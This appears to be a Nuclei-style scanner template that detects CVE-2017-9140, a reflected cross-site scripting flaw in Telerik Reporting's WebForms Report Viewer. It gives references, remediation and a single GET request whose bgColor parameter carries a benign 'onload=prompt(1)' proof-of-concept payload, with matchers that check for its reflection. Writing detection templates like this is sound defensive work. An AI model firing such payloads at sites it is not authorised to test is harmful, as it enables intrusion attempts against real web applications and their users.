id: CVE-2017-9140 info: name: Reflected XSS - Telerik Reporting Module author: dhiyaneshDk severity: medium description: Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd. reference: - https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module - https://nvd.nist.gov/vuln/detail/CVE-2017-9140 - https://www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module - http://www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406) - https://knowledgebase.progress.com/articles/Article/Security-Advisory-for-Resolving-Security-vulnerabilities-September-2018 remediation: Upgrade to application version 11.0.17.406 (2017 SP2) or later. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-9140 cwe-id: CWE-79 epss-score: 0.0021 cpe: cpe:2.3:a:progress:telerik_reporting:*:*:*:*:*:*:*:* epss-percentile: 0.58217 metadata: max-request: 1 vendor: progress product: telerik_reporting tags: cve,cve2017,xss,telerik http: - method: GET path: - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)' matchers-condition: and matchers: - type: word words: - '#000000"onload="prompt(1)' - 'Telerik.ReportViewer.axd?name=Resources' condition: and - type: status status: - 200